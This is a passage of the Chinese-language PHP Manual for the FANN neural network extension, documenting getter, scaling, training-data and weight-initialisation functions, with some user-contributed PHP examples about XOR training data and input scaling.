  • fann_get_num_input ?
  • PHP Manual
  • Fann 函数
  • 获取所创建的神经网络类型。

fann_get_network_type

(PECL fann >= 1.0.0)

fann_get_network_type — 获取所创建的神经网络类型。

说明

fann_get_network_type(resource $ann): int

获取所创建的神经网络的类型。

参数

ann

神经网络 资源。

返回值

成功，则返回网络类型 常量, 错误则返回 false .

User Contributed Notes

There are no user contributed notes for this page.


获取输入神经元的数量。

  • ? fann_get_network_type
  • fann_get_num_layers ?
  • PHP Manual
  • Fann 函数
  • 获取输入神经元的数量。

fann_get_num_input

(PECL fann >= 1.0.0)

fann_get_num_input — 获取输入神经元的数量。

说明

fann_get_num_input(resource $ann): int

获取输入神经元的数量。

参数

ann

神经网络 资源。

返回值

成功，则返回输入神经元的数量, 错误则返回 false

User Contributed Notes

There are no user contributed notes for this page.


获取神经网络的层数。

  • ? fann_get_num_input
  • fann_get_num_output ?
  • PHP Manual
  • Fann 函数
  • 获取神经网络的层数。

fann_get_num_layers

(PECL fann >= 1.0.0)

fann_get_num_layers — 获取神经网络的层数。

说明

fann_get_num_layers(resource $ann): int

获取神经网络的层数。

参数

ann

神经网络 资源。

返回值

成功，则返回神经网络的层数，错误则返回 false .

User Contributed Notes

There are no user contributed notes for this page.


获取输出神经元的数量。

  • ? fann_get_num_layers
  • fann_get_quickprop_decay ?
  • PHP Manual
  • Fann 函数
  • 获取输出神经元的数量。

fann_get_num_output

(PECL fann >= 1.0.0)

fann_get_num_output — 获取输出神经元的数量。

说明

fann_get_num_output(resource $ann): int

获取输出神经元的数量。

参数

ann

神经网络 资源。

返回值

成功，则返回输出神经元的数量, 错误则返回 false .

User Contributed Notes

There are no user contributed notes for this page.


返回衰退值，用于在 quickprop 训练迭代时衰减权重

  • ? fann_get_num_output
  • fann_get_quickprop_mu ?
  • PHP Manual
  • Fann 函数
  • 返回衰退值，用于在 quickprop 训练迭代时衰减权重

fann_get_quickprop_decay

(PECL fann >= 1.0.0)

fann_get_quickprop_decay — 返回衰退值，用于在 quickprop 训练迭代时衰减权重

说明

fann_get_quickprop_decay(resource $ann): float

衰退值是一个小的负数，用于在 quickprop 训练迭代时衰减权重。 这是用来确保训练时权重不要太高。

默认衰退值是 -0.0001.

参数

ann

神经网络 资源。

返回值

成功，返回衰退值，错误则返回 false .

参见

  • fann_set_quickprop_decay() - 设置quickprop算法衰减因子

User Contributed Notes

There are no user contributed notes for this page.


返回放大系数

  • ? fann_get_quickprop_decay
  • fann_get_rprop_decrease_factor ?
  • PHP Manual
  • Fann 函数
  • 返回放大系数

fann_get_quickprop_mu

(PECL fann >= 1.0.0)

fann_get_quickprop_mu — 返回放大系数

说明

fann_get_quickprop_mu(resource $ann): float

放大系数被用来增加和降低 quickprop 训练期间的步长。放大系数应该始终大于1，因为当它增加时，它会减少步长。

默认放大系数是 1.75.

参数

ann

神经网络 资源。

返回值

成功，返回放大系数，错误则返回 false .

参见

  • fann_set_quickprop_mu() - 设置 quickprop 算法放大因子

User Contributed Notes

There are no user contributed notes for this page.


返回 RPROP 训练期间的衰减系数

  • ? fann_get_quickprop_mu
  • fann_get_rprop_delta_max ?
  • PHP Manual
  • Fann 函数
  • 返回 RPROP 训练期间的衰减系数

fann_get_rprop_decrease_factor

(PECL fann >= 1.0.0)

fann_get_rprop_decrease_factor — 返回 RPROP 训练期间的衰减系数

说明

fann_get_rprop_decrease_factor(resource $ann): float

衰减系数的值小于1，用于在 RPROP 训练期间减少的步长。

The default decrease factor is 0.5.

参数

ann

神经网络 资源。

返回值

成功，返回衰减系数，错误则返回 false .

参见

  • fann_set_rprop_decrease_factor() - 使用 RPROP 算法训练时，设置下降因子

User Contributed Notes

There are no user contributed notes for this page.


返回最大步长

  • ? fann_get_rprop_decrease_factor
  • fann_get_rprop_delta_min ?
  • PHP Manual
  • Fann 函数
  • 返回最大步长

fann_get_rprop_delta_max

(PECL fann >= 1.0.0)

fann_get_rprop_delta_max — 返回最大步长

说明

fann_get_rprop_delta_max(resource $ann): float

最大步长是正数，决定最大步长可能有多大。.

默认的最大值是 50.0.

参数

ann

神经网络 资源。

返回值

成功,返回最大步长，错误则返回 false .

参见

  • fann_set_rprop_delta_max() - 设置最大步长
  • fann_get_rprop_delta_min() - 返回最小步长

User Contributed Notes

There are no user contributed notes for this page.


返回最小步长

  • ? fann_get_rprop_delta_max
  • fann_get_rprop_delta_zero ?
  • PHP Manual
  • Fann 函数
  • 返回最小步长

fann_get_rprop_delta_min

(PECL fann >= 1.0.0)

fann_get_rprop_delta_min — 返回最小步长

说明

fann_get_rprop_delta_min(resource $ann): float

最小步长是一个小的正数，决定最小步长可能有多小。.

默认的最小步长是 0.0.

参数

ann

神经网络 资源。

返回值

成功，返回最小步长，错误则返回 false .

参见

  • fann_set_rprop_delta_min() - 设置最小步长

User Contributed Notes

There are no user contributed notes for this page.


返回初始步长

  • ? fann_get_rprop_delta_min
  • fann_get_rprop_increase_factor ?
  • PHP Manual
  • Fann 函数
  • 返回初始步长

fann_get_rprop_delta_zero

(PECL fann >= 1.0.0)

fann_get_rprop_delta_zero — 返回初始步长

说明

fann_get_rprop_delta_zero(resource $ann): int

初始步长是确定初始步长的正数。

默认的初始步长是 0.1.

参数

ann

神经网络 资源。

返回值

成功，返回初始步长，错误则返回 false .

参见

  • fann_set_rprop_delta_zero() - 设置初始步长
  • fann_get_rprop_delta_min() - 返回最小步长
  • fann_get_rprop_delta_max() - 返回最大步长

User Contributed Notes

There are no user contributed notes for this page.


返回 RPROP 训练的递增系数

  • ? fann_get_rprop_delta_zero
  • fann_get_sarprop_step_error_shift ?
  • PHP Manual
  • Fann 函数
  • 返回 RPROP 训练的递增系数

fann_get_rprop_increase_factor

(PECL fann >= 1.0.0)

fann_get_rprop_increase_factor — 返回 RPROP 训练的递增系数

说明

fann_get_rprop_increase_factor(resource $ann): float

递增系数是一个大于1的值，用于递增 RPROP 训练中的步长。

默认的递进系数是 1.2

参数

ann

神经网络 资源。

返回值

成功，返回递进系数，错误则返回 false .

参见

  • fann_set_rprop_increase_factor() - 使用 RPROP 算法训练时，设置增长因子

User Contributed Notes

There are no user contributed notes for this page.


返回 sarprop 步值的误差偏移

  • ? fann_get_rprop_increase_factor
  • fann_get_sarprop_step_error_threshold_factor ?
  • PHP Manual
  • Fann 函数
  • 返回 sarprop 步值的误差偏移

fann_get_sarprop_step_error_shift

(PECL fann >= 1.0.0)

fann_get_sarprop_step_error_shift — 返回 sarprop 步值的误差偏移

说明

fann_get_sarprop_step_error_shift(resource $ann): float

返回 sarprop 步值的误差偏移。

默认的步值误差偏移是 1.385.

参数

ann

神经网络 资源。

返回值

成功，返回 sarprop 步值误差偏移，错误则返回 false .

注释

Note:

This function is only available if the fann extension has been build against libfann >= 2.2.

参见

  • fann_set_sarprop_step_error_shift() - 设置 sarprop 算法的步误差偏移量

User Contributed Notes

There are no user contributed notes for this page.


返回 sarprop 算法步值的误差阈值系数

  • ? fann_get_sarprop_step_error_shift
  • fann_get_sarprop_temperature ?
  • PHP Manual
  • Fann 函数
  • 返回 sarprop 算法步值的误差阈值系数

fann_get_sarprop_step_error_threshold_factor

(PECL fann >= 1.0.0)

fann_get_sarprop_step_error_threshold_factor — 返回 sarprop 算法步值的误差阈值系数

说明

fann_get_sarprop_step_error_threshold_factor(resource $ann): float

sarprop 算法步值的误差阈值系数。

默认的系数是 0.1.

参数

ann

神经网络 资源。

返回值

成功，返回 sarprop 算法步值的误差阈值系数，错误则返回 false .

注释

Note:

This function is only available if the fann extension has been build against libfann >= 2.2.

参见

  • fann_set_sarprop_step_error_threshold_factor() - 设置 sarprop 算法的步误差阈值因子

User Contributed Notes

There are no user contributed notes for this page.


返回 sarprop 算法温度

  • ? fann_get_sarprop_step_error_threshold_factor
  • fann_get_sarprop_weight_decay_shift ?
  • PHP Manual
  • Fann 函数
  • 返回 sarprop 算法温度

fann_get_sarprop_temperature

(PECL fann >= 1.0.0)

fann_get_sarprop_temperature — 返回 sarprop 算法温度

说明

fann_get_sarprop_temperature(resource $ann): float

返回 sarprop 算法温度。

默认温度是 0.015.

参数

ann

神经网络 资源。

返回值

成功，返回 sarprop 温度，错误则返回 false .

注释

Note:

This function is only available if the fann extension has been build against libfann >= 2.2.

参见

  • fann_set_sarprop_temperature() - 设置 sarprop 算法的温度

User Contributed Notes

There are no user contributed notes for this page.


返回 sarprop 算法权重衰减变化值

  • ? fann_get_sarprop_temperature
  • fann_get_total_connections ?
  • PHP Manual
  • Fann 函数
  • 返回 sarprop 算法权重衰减变化值

fann_get_sarprop_weight_decay_shift

(PECL fann >= 1.0.0)

fann_get_sarprop_weight_decay_shift — 返回 sarprop 算法权重衰减变化值

说明

fann_get_sarprop_weight_decay_shift(resource $ann): float

sarprop 算法权重衰减变化值。

默认的最大值是 -6.644.

参数

ann

神经网络 资源。

返回值

成功，返回 sarprop 算法权重衰减变化值，错误则返回 false .

注释

Note:

This function is only available if the fann extension has been build against libfann >= 2.2.

参见

  • fann_set_sarprop_weight_decay_shift() - 设置 sarprop 算法的权重衰减偏移值

User Contributed Notes

There are no user contributed notes for this page.


获取整个网络中所有的连接数。

  • ? fann_get_sarprop_weight_decay_shift
  • fann_get_total_neurons ?
  • PHP Manual
  • Fann 函数
  • 获取整个网络中所有的连接数。

fann_get_total_connections

(PECL fann >= 1.0.0)

fann_get_total_connections — 获取整个网络中所有的连接数。

说明

fann_get_total_connections(resource $ann): int

获取整个网络中所有的连接数。

参数

ann

神经网络 资源。

返回值

成功，则返回整个网络中所有的连接数, 错误则返回 false .

User Contributed Notes

There are no user contributed notes for this page.


获取整个网络中神经元的数量。

  • ? fann_get_total_connections
  • fann_get_train_error_function ?
  • PHP Manual
  • Fann 函数
  • 获取整个网络中神经元的数量。

fann_get_total_neurons

(PECL fann >= 1.0.0)

fann_get_total_neurons — 获取整个网络中神经元的数量。

说明

fann_get_total_neurons(resource $ann): int

获取整个网络中神经元的数量。 这个数量也包括偏置神经元，因此一个2-4-2的网络有2+4+2+2（偏置神经元）=10个神经元。

参数

ann

神经网络 资源。

返回值

成功，则返回整个网络神经元的数量, 错误则返回 false .

User Contributed Notes

There are no user contributed notes for this page.


返回训练中使用的错误函数。

  • ? fann_get_total_neurons
  • fann_get_train_stop_function ?
  • PHP Manual
  • Fann 函数
  • 返回训练中使用的错误函数。

fann_get_train_error_function

(PECL fann >= 1.0.0)

fann_get_train_error_function — 返回训练中使用的错误函数。

说明

fann_get_train_error_function(resource $ann): int

返回训练中使用的错误函数。

有关于错误函数的详细描述，参见 error functions 静态变量。

默认的错误函数是 FANN_ERRORFUNC_TANH.

参数

ann

神经网络 资源。

返回值

成功，则返回 error function 静态变量, 错误则返回 false .

参见

  • fann_set_train_error_function() - 设置训练期间使用的错误函数。

User Contributed Notes

There are no user contributed notes for this page.


返回训练中使用的停止函数。

  • ? fann_get_train_error_function
  • fann_get_training_algorithm ?
  • PHP Manual
  • Fann 函数
  • 返回训练中使用的停止函数。

fann_get_train_stop_function

(PECL fann >= 1.0.0)

fann_get_train_stop_function — 返回训练中使用的停止函数。

说明

fann_get_train_stop_function(resource $ann): int

返回训练中使用的停止函数。

停止函数的详细描述，参见stop functions 常量。

默认的停止函数是 FANN_STOPFUNC_MSE.

参数

ann

神经网络 资源。

返回值

成功，则返回 stop function 常量, 错误则返回 false .

参见

  • fann_set_train_stop_function() - 设置训练期间使用的停止函数。

User Contributed Notes

There are no user contributed notes for this page.


返回训练算法。

  • ? fann_get_train_stop_function
  • fann_init_weights ?
  • PHP Manual
  • Fann 函数
  • 返回训练算法。

fann_get_training_algorithm

(PECL fann >= 1.0.0)

fann_get_training_algorithm — 返回训练算法。

说明

fann_get_training_algorithm(resource $ann): int

返回训练算法。该训练算法是被 fann_train_on_data() 和相关函数使用的。

要注意的是这个算法在fann_cascadetrain_on_data()函数中也是可以使用的, 尽管在层叠训练中只有FANN_TRAIN_RPROP 和 FANN_TRAIN_QUICKPROP 算法被允许使用。

参数

ann

神经网络 资源。

返回值

成功，返回训练算法 常量, 错误则返回 false .

参见

  • fann_set_training_algorithm() - 设置训练算法。

User Contributed Notes

There are no user contributed notes for this page.


使用 Widrow 和 Nguyen 算法初始化权重。

  • ? fann_get_training_algorithm
  • fann_length_train_data ?
  • PHP Manual
  • Fann 函数
  • 使用 Widrow 和 Nguyen 算法初始化权重。

fann_init_weights

(PECL fann >= 1.0.0)

fann_init_weights — 使用 Widrow 和 Nguyen 算法初始化权重。

说明

fann_init_weights(resource $ann, resource $train_data): bool

使用 Widrow 和 Nguyen 算法初始化权重。

该函数的作用和 fann_randomize_weights()函数相似。 该函数将会使用 Derrick Nguyen 和 Bernard Widrow 开发的算法来设置权重用于加速训练。 该技术不是经常奏效，在某些场景下比纯粹的随机初始化来得更低效。

该算法要求获取输入数据的范围(比如 最大和最小输入)，因此接受别的参数，数据(将会在网络中训练的数据)。

参数

ann

神经网络 资源。

train_data

神经网络训练数据 资源。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_randomize_weights() - 给每个连接赋一个介于 min_weight 和 max_weight 之间的随机权重。
  • fann_read_train_from_file() - 读取存储训练数据的文件。

User Contributed Notes

There are no user contributed notes for this page.


返回训练数据中训练模式的数量。

  • ? fann_init_weights
  • fann_merge_train_data ?
  • PHP Manual
  • Fann 函数
  • 返回训练数据中训练模式的数量。

fann_length_train_data

(PECL fann >= 1.0.0)

fann_length_train_data — 返回训练数据中训练模式的数量。

说明

fann_length_train_data(resource $data): int

返回训练数据中训练模式的数量。 resource.

参数

data

神经网络训练数据 资源。

返回值

成功，则返回训练数据resource中的元素数，错误则返回 false .

User Contributed Notes

There are no user contributed notes for this page.


合并训练数据。

  • ? fann_length_train_data
  • fann_num_input_train_data ?
  • PHP Manual
  • Fann 函数
  • 合并训练数据。

fann_merge_train_data

(PECL fann >= 1.0.0)

fann_merge_train_data — 合并训练数据。

说明

fann_merge_train_data(resource $data1, resource $data2): resource

将 data1 和 data2 数据集合并为新的训练数据 resource.

参数

data1

神经网络训练数据 资源。

data2

神经网络训练数据 资源。

返回值

成功，则返回合并的训练数据 resource, 错误则返回 false .

User Contributed Notes

geekgirljoy at gmail dot com 29-Oct-2018 07:19
There will be times when you need to merge separate data sets into a new single set.

This code demonstrates how to merge the XOR dataset from two separate files into a single training file.

File (xor_part_1.data):
1 2 1
-1 -1
-1

File (xor_part_2.data):
3 2 1
-1 1
1
1 -1
1
1 1
-1

Resulting File (xor_complete.data):
4 2 1
-1 -1
-1
-1 1
1
1 -1
1
1 1
-1

<?php
// Create partial data resources
$train_data_1 = fann_read_train_from_file("xor_part_1.data");
$train_data_2 = fann_read_train_from_file("xor_part_2.data");

// Merge into new data resource
$train_data = fann_merge_train_data ($train_data_1, $train_data_2);

// Remove the partial data resources from memory
fann_destroy_train ( $train_data_1 );
fann_destroy_train ( $train_data_2 );

// Save the new complete Data file
fann_save_train ( $train_data , "xor_complete.data");

// Remove the complete data resources from memory
fann_destroy_train ( $train_data );

echo 'All Done!' . PHP_EOL;
?>


返回训练数据中每个训练模式输入的数量。

  • ? fann_merge_train_data
  • fann_num_output_train_data ?
  • PHP Manual
  • Fann 函数
  • 返回训练数据中每个训练模式输入的数量。

fann_num_input_train_data

(PECL fann >= 1.0.0)

fann_num_input_train_data — 返回训练数据中每个训练模式输入的数量。

说明

fann_num_input_train_data(resource $data): int

返回训练数据resource中每个训练模式输入的数量。

参数

data

神经网络训练数据 资源。

返回值

成功，则返回输入数，错误则返回 false .

参见

  • fann_length_train_data() - 返回训练数据中训练模式的数量。
  • fann_num_output_train_data() - 返回训练数据中每个训练模式输出的数量。

User Contributed Notes

There are no user contributed notes for this page.


返回训练数据中每个训练模式输出的数量。

  • ? fann_num_input_train_data
  • fann_print_error ?
  • PHP Manual
  • Fann 函数
  • 返回训练数据中每个训练模式输出的数量。

fann_num_output_train_data

(PECL fann >= 1.0.0)

fann_num_output_train_data — 返回训练数据中每个训练模式输出的数量。

说明

fann_num_output_train_data(resource $data): int

返回训练数据 resource中每个训练模式输出的数量。

参数

data

神经网络训练数据 资源。

返回值

成功，则返回输出数, 错误则返回 false .

参见

  • fann_length_train_data() - 返回训练数据中训练模式的数量。
  • fann_num_input_train_data() - 返回训练数据中每个训练模式输入的数量。

User Contributed Notes

There are no user contributed notes for this page.


打印错误字符串

  • ? fann_num_output_train_data
  • fann_randomize_weights ?
  • PHP Manual
  • Fann 函数
  • 打印错误字符串

fann_print_error

(PECL fann >= 1.0.0)

fann_print_error — 打印错误字符串

说明

fann_print_error(resource $errdat): void

打印错误字符串。

参数

errdat

Either neural network resource or neural network trainining data resource.

返回值

无返回值。

参见

  • fann_get_errstr() - 返回最后的错误字符串。

User Contributed Notes

There are no user contributed notes for this page.


给每个连接赋一个介于 min_weight 和 max_weight 之间的随机权重。

  • ? fann_print_error
  • fann_read_train_from_file ?
  • PHP Manual
  • Fann 函数
  • 给每个连接赋一个介于 min_weight 和 max_weight 之间的随机权重。

fann_randomize_weights

(PECL fann >= 1.0.0)

fann_randomize_weights — 给每个连接赋一个介于 min_weight 和 max_weight 之间的随机权重。

说明

fann_randomize_weights(resource $ann, float $min_weight, float $max_weight): bool

给每个连接赋一个介于 min_weight 和 max_weight之间的随机权重。

从一开始权重介于 -0.1 和 0.1之间。

参数

ann

神经网络 资源。

min_weight

最小权重值

max_weight

最大权重值

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_init_weights() - 使用 Widrow 和 Nguyen 算法初始化权重。

User Contributed Notes

There are no user contributed notes for this page.


读取存储训练数据的文件。

  • ? fann_randomize_weights
  • fann_reset_errno ?
  • PHP Manual
  • Fann 函数
  • 读取存储训练数据的文件。

fann_read_train_from_file

(PECL fann >= 1.0.0)

fann_read_train_from_file — 读取存储训练数据的文件。

说明

fann_read_train_from_file(string $filename): resource

读取存储训练数据的文件。

参数

filename

输入文件的格式如下:

num_train_data num_input num_output
inputdata separated by space
outputdata separated by space

.
.
.

inputdata separated by space
outputdata separated by space

返回值

成功时返回训练数据 资源，发生错误返回 false。

示例

Example #1 fann_read_train_from_file() 函数的使用范例：

<?php
$train_data = fann_read_train_from_file("xor.data");
if ($train_data) {
// Do something with $train_data for XOR function
}
?>

xor.data 文件的内容：

4 2 1
-1 -1
-1
-1 1
1
1 -1
1
1 1
-1

参见

  • fann_train_on_data() - 在整个数据集上训练一段时间。
  • fann_destroy_train() - 销毁训练数据。
  • fann_save_train() - 将训练结构体保存至文件。

User Contributed Notes

Ray.Paseur sometimes uses Gmail 03-Mar-2017 08:40
An explanation of the values used in xor.data is available here:
http://php.net/manual/en/fann.examples-1.php#117242


重置最后的错误代码。

  • ? fann_read_train_from_file
  • fann_reset_errstr ?
  • PHP Manual
  • Fann 函数
  • 重置最后的错误代码。

fann_reset_errno

(PECL fann >= 1.0.0)

fann_reset_errno — 重置最后的错误代码。

说明

fann_reset_errno(resource $errdat): void

重置最后的错误代码。

参数

errdat

Either neural network resource or neural network trainining data resource.

返回值

无返回值。

参见

  • fann_get_errno() - 返回最后一个错误数字。
  • fann_reset_errstr() - 重置最后的错误字符串。

User Contributed Notes

There are no user contributed notes for this page.


重置最后的错误字符串。

  • ? fann_reset_errno
  • fann_reset_MSE ?
  • PHP Manual
  • Fann 函数
  • 重置最后的错误字符串。

fann_reset_errstr

(PECL fann >= 1.0.0)

fann_reset_errstr — 重置最后的错误字符串。

说明

fann_reset_errstr(resource $errdat): void

重置最后的错误字符串。

参数

errdat

Either neural network resource or neural network trainining data resource.

返回值

无返回值。

参见

  • fann_get_errstr() - 返回最后的错误字符串。
  • fann_reset_errno() - 重置最后的错误代码。

User Contributed Notes

There are no user contributed notes for this page.


重置网络中的均方误差。

  • ? fann_reset_errstr
  • fann_run ?
  • PHP Manual
  • Fann 函数
  • 重置网络中的均方误差。

fann_reset_MSE

(PECL fann >= 1.0.0)

fann_reset_MSE — 重置网络中的均方误差。

说明

fann_reset_MSE(string $ann): bool

重置网络中的均方误差。

该函数也会重置失败时位的数量。

参数

ann

神经网络 资源。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_MSE() - 从网络中读取均方误差。
  • fann_get_bit_fail() - 失败位的数量
  • fann_get_bit_fail_limit() - 返回训练期间使用的误差限制

User Contributed Notes

There are no user contributed notes for this page.


将通过神经网络运行输入。

  • ? fann_reset_MSE
  • fann_save_train ?
  • PHP Manual
  • Fann 函数
  • 将通过神经网络运行输入。

fann_run

(PECL fann >= 1.0.0)

fann_run — 将通过神经网络运行输入。

说明

fann_run(resource $ann, array $input): array

将通过神经网络运行输入，返回输出数组，数组的长度等于输出层神经元的个数。

参数

ann

神经网络 资源。

input

输入数组的值。

返回值

成功，返回输出数组，错误则返回 false .

User Contributed Notes

There are no user contributed notes for this page.


将训练结构体保存至文件。

  • ? fann_run
  • fann_save ?
  • PHP Manual
  • Fann 函数
  • 将训练结构体保存至文件。

fann_save_train

(PECL fann >= 1.0.0)

fann_save_train — 将训练结构体保存至文件。

说明

fann_save_train(resource $data, string $file_name): bool

将训练结构体保存至文件， 格式和 fann_read_train_from_file() 函数中指定的一样。

参数

data

神经网络训练数据 资源。

file_name

保存训练数据的文件名。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_read_train_from_file() - 读取存储训练数据的文件。

User Contributed Notes

There are no user contributed notes for this page.


将整个网络保存至配置文件。

  • ? fann_save_train
  • fann_scale_input_train_data ?
  • PHP Manual
  • Fann 函数
  • 将整个网络保存至配置文件。

fann_save

(PECL fann >= 1.0.0)

fann_save — 将整个网络保存至配置文件。

说明

fann_save(resource $ann, string $configuration_file): bool

将整个网络保存至配置文件。

配置文件包含了神经网络的所有信息，并且能够通过 fann_create_from_file() 函数来创建一个原神经网络的精确副本以及与神经网络关联的所有参数。

这三个参数 (fann_set_callback(), fann_set_error_log(), fann_set_user_data()) 不保存在文件中，因为他们不能被安全地移植到不同的位置。当使用类似 fann_get_MSE() 函数训练时，生成的临时参数也不会被保存起来。

参数

ann

神经网络 资源。

configuration_file

配置文件的路径。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_create_from_file() - 从配置文件中构建一个反向传播神经网络。

User Contributed Notes

There are no user contributed notes for this page.


在训练数据中缩放输入至指定范围

  • ? fann_save
  • fann_scale_input ?
  • PHP Manual
  • Fann 函数
  • 在训练数据中缩放输入至指定范围

fann_scale_input_train_data

(PECL fann >= 1.0.0)

fann_scale_input_train_data — 在训练数据中缩放输入至指定范围

说明

fann_scale_input_train_data(resource $train_data, float $new_min, float $new_max): bool

在训练数据中缩放输入至指定范围。

参数

train_data

神经网络训练数据 资源。

new_min

训练数据中缩放输入后新的最小值。

new_max

训练数据中缩放数据后新的最大值。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_scale_output_train_data() - 在训练数据中缩放输出至指定范围
  • fann_scale_train_data() - 在训练数据中缩放输入和输出到指定的范围

User Contributed Notes

There are no user contributed notes for this page.


在以前计算参数的基础上，在训练之前放大输入向量中的数据

  • ? fann_scale_input_train_data
  • fann_scale_output_train_data ?
  • PHP Manual
  • Fann 函数
  • 在以前计算参数的基础上，在训练之前放大输入向量中的数据

fann_scale_input

(PECL fann >= 1.0.0)

fann_scale_input — 在以前计算参数的基础上，在训练之前放大输入向量中的数据

说明

fann_scale_input(resource $ann, array $input_vector): bool

在以前计算参数的基础上，在训练之前放大输入向量中的数据。

参数

ann

神经网络 资源。

input_vector

将要被缩放的输入向量。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_descale_input() - 在获取基于先前计算的参数之后，在输入向量中缩小数据
  • fann_scale_output() - 在以前计算参数的基础上，在训练之前放大输出向量中的数据

User Contributed Notes

geekgirl dot joy at gmail dot com 29-May-2021 06:27
<?php

// This example will use the XOR dataset with negative one represented
// as zero and one represented as one-hundred and demonstrate how to
// scale those values so that FANN can understand them and then how
// to de-scale the value FANN returns so that you can understand them.

// Scaling allows you to take raw data numbers like -1234.975 or 4502012
// in your dataset and convert them into an input/output range that
// your neural network can understand.

// De-scaling lets you take the scaled data and convert it back into
// the original range.

// scale_test.data
// Note the values are "raw" or un-scaled.
/*
4 2 1
0 0
0
0 100
100
100 0
100
100 100
0
*/

////////////////////
// Configure ANN  //
////////////////////

// New ANN
$ann = fann_create_standard_array(3, [2,3,1]);

// Set activation functions
fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

// Read raw (un-scaled) training data from file
$train_data = fann_read_train_from_file("scale_test.data");

// Scale the data range to -1 to 1
fann_set_input_scaling_params($ann , $train_data, -1, 1);
fann_set_output_scaling_params($ann , $train_data, -1, 1);

///////////
// Train //
///////////

// Presumably you would train here (uncomment to perform training)...

// fann_train_on_data($ann, $train_data, 100, 10, 0.01);

// But it's not needed to test the scaling because the training file
// in this case is just used to compute/derive the scale range.
// However, doing the training will improve the answer the ANN gives
// in correlation to the training data.

//////////
// Test //
//////////

$raw_input = array(0, 100); // test XOR (0,100) input
$scaled_input = fann_scale_input ($ann , $raw_input); // scaled XOR (-1,1) input
$descaled_input = fann_descale_input ($ann , $scaled_input); // de-scaled XOR (0,100) input
$raw_output = fann_run($ann, $scaled_input); // get the answer/output from the ANN
$output_descale = fann_descale_output($ann, $raw_output); // de-scale the output

////////////////////
// Report Results //
////////////////////
echo 'The raw_input:' . PHP_EOL;
var_dump($raw_input);

echo 'The raw_input Scaled then De-Scaled (values are unchanged/correct):' . PHP_EOL;
var_dump($descaled_input);

echo 'The Scaled input:' . PHP_EOL;
var_dump($scaled_input);

echo "The raw_output of the ANN (Scaled input):" . PHP_EOL;
var_dump($raw_output);

echo 'The De-Scaled output:' . PHP_EOL;
var_dump($output_descale);

////////////////////
// Example Output //
////////////////////

 /*
The raw_input:
array(2) {
  [0]=>
  float(0)
  [1]=>
  float(100)
}
The raw_input Scaled then De-Scaled (values are unchanged/correct):
array(2) {
  [0]=>
  float(0)
  [1]=>
  float(100)
}
The Scaled input:
array(2) {
  [0]=>
  float(-1)
  [1]=>
  float(1)
}
The raw_output of the ANN (Scaled input):
array(1) {
  [0]=>
  float(1)
}
The De-Scaled output:
array(1) {
  [0]=>
  float(100)
}
*/
geekgirl dot joy at gmail dot com 29-May-2021 06:27
<?php

// This example will use the XOR dataset with negative one represented
// as zero and one represented as one-hundred and demonstrate how to
// scale those values so that FANN can understand them and then how
// to de-scale the value FANN returns so that you can understand them.

// Scaling allows you to take raw data numbers like -1234.975 or 4502012
// in your dataset and convert them into an input/output range that
// your neural network can understand.

// De-scaling lets you take the scaled data and convert it back into
// the original range.

// scale_test.data
// Note the values are "raw" or un-scaled.
/*
4 2 1
0 0
0
0 100
100
100 0
100
100 100
0
*/

////////////////////
// Configure ANN  //
////////////////////

// New ANN
$ann = fann_create_standard_array(3, [2,3,1]);

// Set activation functions
fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

// Read raw (un-scaled) training data from file
$train_data = fann_read_train_from_file("scale_test.data");

// Scale the data range to -1 to 1
fann_set_input_scaling_params($ann , $train_data, -1, 1);
fann_set_output_scaling_params($ann , $train_data, -1, 1);

///////////
// Train //
///////////

// Presumably you would train here (uncomment to perform training)...

// fann_train_on_data($ann, $train_data, 100, 10, 0.01);

// But it's not needed to test the scaling because the training file
// in this case is just used to compute/derive the scale range.
// However, doing the training will improve the answer the ANN gives
// in correlation to the training data.

//////////
// Test //
//////////

$raw_input = array(0, 100); // test XOR (0,100) input
$scaled_input = fann_scale_input ($ann , $raw_input); // scaled XOR (-1,1) input
$descaled_input = fann_descale_input ($ann , $scaled_input); // de-scaled XOR (0,100) input
$raw_output = fann_run($ann, $scaled_input); // get the answer/output from the ANN
$output_descale = fann_descale_output($ann, $raw_output); // de-scale the output

////////////////////
// Report Results //
////////////////////
echo 'The raw_input:' . PHP_EOL;
var_dump($raw_input);

echo 'The raw_input Scaled then De-Scaled (values are unchanged/correct):' . PHP_EOL;
var_dump($descaled_input);

echo 'The Scaled input:' . PHP_EOL;
var_dump($scaled_input);

echo "The raw_output of the ANN (Scaled input):" . PHP_EOL;
var_dump($raw_output);

echo 'The De-Scaled output:' . PHP_EOL;
var_dump($output_descale);

////////////////////
// Example Output //
////////////////////

 /*
The raw_input:
array(2) {
  [0]=>
  float(0)
  [1]=>
  float(100)
}
The raw_input Scaled then De-Scaled (values are unchanged/correct):
array(2) {
  [0]=>
  float(0)
  [1]=>
  float(100)
}
The Scaled input:
array(2) {
  [0]=>
  float(-1)
  [1]=>
  float(1)
}
The raw_output of the ANN (Scaled input):
array(1) {
  [0]=>
  float(1)
}
The De-Scaled output:
array(1) {
  [0]=>
  float(100)
}
*/
saakyanalexandr at gmail dot com 27-Nov-2019 08:38
fann_scale_input and fann_scale_output return not bool value. This function return scaling vector.

Example
$r = fann_scale_input($ann, $input);
$output = fann_run($ann, $input);
$s = fann_scale_output ( $ann, $output);

$r and $s is array
Nolife 10-Oct-2017 04:55
Please note -> ALLfann  scaling related functions are not functional.
They are implemented wrong so the scaling is calculated within the library but it's not referenced back to the input variables.


在训练数据中缩放输出至指定范围

  • ? fann_scale_input
  • fann_scale_output ?
  • PHP Manual
  • Fann 函数
  • 在训练数据中缩放输出至指定范围

fann_scale_output_train_data

(PECL fann >= 1.0.0)

fann_scale_output_train_data — 在训练数据中缩放输出至指定范围

说明

fann_scale_output_train_data(resource $train_data, float $new_min, float $new_max): bool

在训练数据中缩放输出至指定范围。

参数

train_data

神经网络训练数据 资源。

new_min

训练数据中缩放输出后新的最小值。

new_max

训练数据中缩放输出后新的最大值。

返回值

成功时返回 true，其它情况下返回 false。

参见

